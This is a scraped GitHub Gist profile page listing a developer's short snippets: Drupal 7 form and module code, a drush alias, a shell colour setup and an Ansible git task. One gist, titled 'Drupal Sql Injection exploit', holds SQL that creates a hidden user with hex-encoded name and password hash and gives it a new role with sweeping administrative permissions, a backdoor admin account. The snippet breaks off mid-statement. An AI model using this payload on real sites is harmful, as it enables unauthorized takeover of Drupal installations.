Skip to content

Instantly share code, notes, and snippets.

View allgood2386's full-sized avatar

Richard Allen allgood2386

  • Bixal
  • Northern Virgina
View GitHub Profile
$lp_view = views_get_view('legacy_partners');
$lp_view->set_display('block');
$form['lp_fieldset']['lp_search_block'] = array (
'#type' => 'markup',
'#prefix' => '<div id="lp_replace_results">',
'#suffix'=> '</div>',
'#markup' => $lp_view->preview(),
);
$lp_view->destroy();
@allgood2386
allgood2386 / gist:3dc1e073b9f0c622a82d
Created November 4, 2014 14:16
Drupal Sql Injection exploit
# Creates "megauser role with elevated permissions"
#########################################
insert into users (uid,`name`,`pass`,status) select max(uid)+1,0x64727570616c646576 ,0x245324437274333435366767706141636d4e39447868367a674c66637736384c4e62697a5a6543726f2e4561574d33427a634b6a316835,1 from users;
insert into users_roles(uid,rid) select uid,1000 from users where name like 0x64727570616c646576;
INSERT INTO role (rid,name, weight) VALUES (1000,'megauser', '999')
INSERT INTO role_permission (rid, permission, module) VALUES (1000, 'administer blocks', 'block'),(1000, 'administer filters', 'filter'),(1000, 'bypass node access', 'node'),(1000, 'administer content types', 'node'),(1000, 'administer nodes', 'node'),(1000, 'access content overview', 'node'),(1000, 'access content', 'node'),(1000, 'view own unpublished content', 'node'),(1000, 'view revisions', 'node'),(1000, 'revert revisions', 'node'),(1000, 'delete revisions', 'node'),(1000, 'administer modules', 'system'),(1000, 'administer site configuratio
$aliases['vagrant'] = array(
'root' => '/var/www/docroot',
'uri' => 'somthing.dev',
'remote-user' => 'vagrant',
'remote-host' => 'something.dev',
'ssh-options' => "-p 22 -i " . $home . "/.vagrant.d/insecure_private_key",
);
#!/bin/sh
# Some things taken from here
# https://github.com/mathiasbynens/dotfiles/blob/master/.osx
# Set the colours you can use
black='\033[0;30m'
white='\033[0;37m'
red='\033[0;31m'
green='\033[0;32m'
<?php
/**
* @file translation_form_changes.module
* TODO: Enter file description here.
*/
/**
* Implements hook_form_alter().
*/
_module_implements_alter
<?php
/**
* @file
* add_teach_embed.module
* Create a form which we add to the school create/edit forms. Provides a submit hook to invite these users to join.
*/
/**
* Implements hook_form_alter().
<?php
/**
* Implements hook_form_alter().
* todo: change weight to something dynamic. IF we reorder anything it will be out of place.
*/
function add_teach_embed_form_alter(&$form, &$form_state, $form_id) {
if ($form_id === 'school_node_form') {
$form['add_teacher'] = array(
'#type' => 'fieldset',
'#title' => t('Add Teachers'),
---
- name: Ensure git is installed (Debian).
apt: name={{ item }} state=installed
with_items: git_packages
# Install git from source when git_install_from_source is true.
- include: install-from-source.yml
when: git_install_from_source == true